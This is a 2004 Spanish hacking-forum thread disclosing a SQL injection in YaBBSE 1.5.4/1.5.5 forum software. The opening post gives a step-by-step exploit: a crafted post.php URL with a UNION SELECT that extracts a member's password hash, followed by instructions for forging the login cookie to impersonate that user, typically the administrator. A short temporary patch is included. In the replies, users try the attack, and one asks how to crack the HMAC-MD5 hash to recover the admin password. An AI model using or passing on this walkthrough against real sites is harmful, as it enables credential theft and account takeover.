elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado:


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Otro agujero en el yabbse
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 4 Ir Abajo Respuesta Imprimir
Autor Tema: Otro agujero en el yabbse  (Leído 9,957 veces)
BackSpace

Desconectado Desconectado

Mensajes: 19



Ver Perfil
Otro agujero en el yabbse
« en: 16 Febrero 2004, 21:08 »

Hola gente:

Luego de casi un mes de esperar a que los de YabbSE arreglen el agujero y no ver ningún movimiento. Y puesto que ya he publicado la vulnerabilidad y que ya estoy cansado de escribir en inglés, y visto que tarda unos dias en salir en Bugtraq y demás sitios me he decidido a publicar la vulnerabilidad aqui por lo menos para que sea una primicia :). No vamos a ser los hispanoparlantes menos que los de la lengua de shakespeare ademas también explicaré algo acerca de para que te pueden servir los hashes extraidos, porque he visto como algunos se despreocupan al pensar que como los hashes están cifrados tampoco pasa nada. Antes de comenzar, decirles que ya este foro está parcheado asi que no malgasten el tiempo probando. De todos modos utilizaré links de este foro pa que se comprenda la idea, espero que el admin no se moleste.

Bueno el hueco está en las versiones 1.5.4 y 1.5.5 de YabSE, puede que en alguna anterior tb pero no las he probado todas.

El agujero en si se encuentra en el fichero post.php donde no se comprueba el parametro quote.


Como explotar la vulnerabilidad:

1- Necesitas ser un usuario registrado
2- Entra en cualquier board. ej. Dudas Generales
3- Entra en cualquier mensaje.ej. POSTS MOVIDOS
4- Ahora mira el codigo fuente y busca la cadena "sesc"
sin las comillas este es el session id un numero hex de 32 caracteres ej. 13a478d8aa161c2231e6d3b36b6d19f2
5- Ahora la url te debe quedar parecida a esta.
http://vulnhost/yabbse/index.php?board=1;action=display;threadid=1

6- Cambiala para que se parezca a esto:
http://vulnhost/yabbse//index.php?board=1;sesc=13a478d8aa161c2231e6d3b36b6d19f2;action=post;threadid=1;title=Post+reply;quote=-12)+UNION+SELECT+passwd,null,null,null,null,null,null,null,null+FROM+yabbse_members+where+ID_MEMBER=1/*

donde dice sesc=######## ahi pones el id que obtuviste antes.


y ya está la página en la página que te trae de vuelta verás  como en el Asunto aparece.
Re: 53245443543543543543543534
este es el hash de la password del usuario cuyo id pusistes en ID_MEMBER=#

Solución Temporal:
Abrir post.php cerca de la linea 49 verás algo parecido a esto

$quotemsg = $quote;

cambialo por:

if ($quote &&  !is_numeric($quote) )
 {
    die('Go out C==|=======>');
 }

 $quotemsg = $quote;

y ya está.


Bien una vez vista la vulnerabilidad explicarles un poco de que va el tema.

Bien una vez con la hash que puedo hacer.
No se si se habrán dado cuenta pero cuando al loguearte le das a la opción de permanecer logueado el Yabbse lo que hace es ponerte una cookie con tu password doblemente cifrada. La doble cifrado funciona de esta manera. Primero a tu password se le hace un md5 usando como llave el nombre del usuario
esta es la que se guarda en la base de datos y es la que obtienes con este exploit. luego se vuelve a cifrar este md5 usando la llave pwseed que se define en Subs.php y que por defecto es ys.

Bien una vez que tenemos el hash procedemos a hacer el mismo proceso. el hash obtenido lo ciframos con la llave ys y eso nos da la hash de la cookie, como lo hacemos, pues yo utilice el codigo de yabbse. Luego necesitas el ID de ese usuario, si te lo curras un poco navegando por el foro puedes encontrar informacion del ID del usuario ( ¿no lo voy a dar todo hecho no? )  hay muchas páginas donde se muestra el ID de los usuarios.
bien una vez llegados al punto de tener el hash y el id que se hace. Pués te logueas con tu usuario y le dices al Yabbse que te ponga la cookie y luego la cambias del modo que mas rabia te dé. Por ejemplo utilizando el Paros ( muy recomendable este programa de lo mejor que he visto en proxys web ) , Achilles o similar. mirando un poco el codigo del Yabbse puedes encontrar el formato de la cookie ( Aqui tampoco daré muchas facilidades, hay que currar un poco) y cambias tu id por la del usuario y tu hash por la que obtuviste, veras como automagicamente el yabbse te da la bienvenida como el otro usuario. Otra cosa a tener en cuenta si lo haces de esta manera es que tienes que cambiar la cookie siempre porque sino entra a la primera pagina pero luego cuando vuelva a pedir la cookie mandará la tuya de nuevo.

Bueno esto es todo. Espero por lo menos haber aclarado algunas dudas.

También dar las gracias al admin de este foro que ha guardado silencio casi un mes :) acerca del exploit

Saludos a todos.
« Última modificación: 17 Febrero 2004, 02:17 por pepitogrillo » En línea

oRTNZ


Desconectado Desconectado

Mensajes: 808


no no soy malo... soy vicioso :p


Ver Perfil
Re:Otro agujero en el yabbse
« Respuesta #1 en: 16 Febrero 2004, 22:17 »

 ;D xDDDDDDD  ;D Lo probaré  :P,saludos
En línea

(31 del 12 de 2005) un dia que recuerdo siempre! :p
(03 del 08 de 2006) otro dia que lo recordare siempre...
Si eres Peruano, QUEDATE y si quieres ser de segunda mano del pais que fueras, pues LARGATE Y NO REGRESES...
el-brujo
ehn
***
Desconectado Desconectado

Mensajes: 19.317


La libertad no se suplica, se conquista


Ver Perfil WWW
Re:Otro agujero en el yabbse
« Respuesta #2 en: 16 Febrero 2004, 22:32 »

yo también he avisado a los desarolladores españoles y no españoles y también he obtenido respuestas que ya se lo mirarán, pero poco más.

La verdad es que la técnica es un poco rebuscada, pero es totalmente válida y efectiva como ya me demostrastes  :P

Gracias a tí, por postear el bug y el parche al mismo tiempo :D
En línea

Since 2001, still kicking hard
Sardi


Desconectado Desconectado

Mensajes: 791


Fenix Sardi


Ver Perfil WWW
Re:Otro agujero en el yabbse
« Respuesta #3 en: 16 Febrero 2004, 23:07 »

Lo e estado probando en mi foro y no rula??????

Brujo tu lo as probado??

saludos
En línea

Ambolius


Desconectado Desconectado

Mensajes: 1.331


/España/Guadalajara


Ver Perfil
Re:Otro agujero en el yabbse
« Respuesta #4 en: 16 Febrero 2004, 23:15 »

Sardi, yo si que lo he probado, y si que he obtenido un hash como resultado. Asegurate de poner un numero de foro y mensaje valido, o un id_memeber correcto. El del administrador suele ser el 1, ya que es el primero en registrarse. Comprueba estos campos...


Saludos
En línea

Un informático a otro:
- ¿Cuantos eran los Dálmatas?
- 101.
- Por el culo te la hinco.
Sardi


Desconectado Desconectado

Mensajes: 791


Fenix Sardi


Ver Perfil WWW
Re:Otro agujero en el yabbse
« Respuesta #5 en: 16 Febrero 2004, 23:34 »

Bueno yo acabo de obtener un hash, pero no estoy seguro si sera valido e si e echo todo bien...  :-[


saludos
En línea

vicecity


Desconectado Desconectado

Mensajes: 894



Ver Perfil
Re:Otro agujero en el yabbse
« Respuesta #6 en: 17 Febrero 2004, 02:04 »

a mi no me funciono  ::)
En línea

BackSpace

Desconectado Desconectado

Mensajes: 19



Ver Perfil
Re:Otro agujero en el yabbse
« Respuesta #7 en: 17 Febrero 2004, 02:45 »

He hecho una modificacion en el arreglo. No vi que habia que chequear otra cosa el arreglo es:

if ($quote &&  !is_numeric($quote) )
{
    die('Go out C==|=======>');
}

de lo contrario se desactivan los posts.
En línea

_PoindeXter_

Desconectado Desconectado

Mensajes: 235


Killing Machine...


Ver Perfil
Re:Otro agujero en el yabbse
« Respuesta #8 en: 17 Febrero 2004, 04:38 »

   ???Y que se supone que se desactiva con eso??...el codigo fuente???....estoy algo confundido....

 Saludos...
En línea

"..Deine Grösse macht mich klein...du bist mein Bestrafer sein..."
Alnitak
Carpe Diem


Desconectado Desconectado

Mensajes: 692



Ver Perfil WWW
Re:Otro agujero en el yabbse
« Respuesta #9 en: 17 Febrero 2004, 07:23 »

Hola.

Funciona todo muy bien, felicitaciones, pero ahora tengo una duda, a ver si alguien me la puede aclarar.

Viendo el codigo del yabbse me he dado cuenta que el algoritmo es el HMAC-MD5, yo siempre había creido que era un MD5 sencillo y ahora me he quedado medio varado.
Claro, puedo usar el hashcalc para sacar el hash de la cookie y entrar como administrador, pero me gustaría mas bien crackear el hash para hacerme con el password y no tengo ni zorra idea de como se crackea un HMAC-MD5  :-X

Alguien me puede decir como lo crackeo ??
En línea

-(¯`(*)Al Nitak(*)´¯)-» --[Deus Meumque Jus]--»
Páginas: [1] 2 3 4 Ir Arriba Respuesta Imprimir 

Ir a:  
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines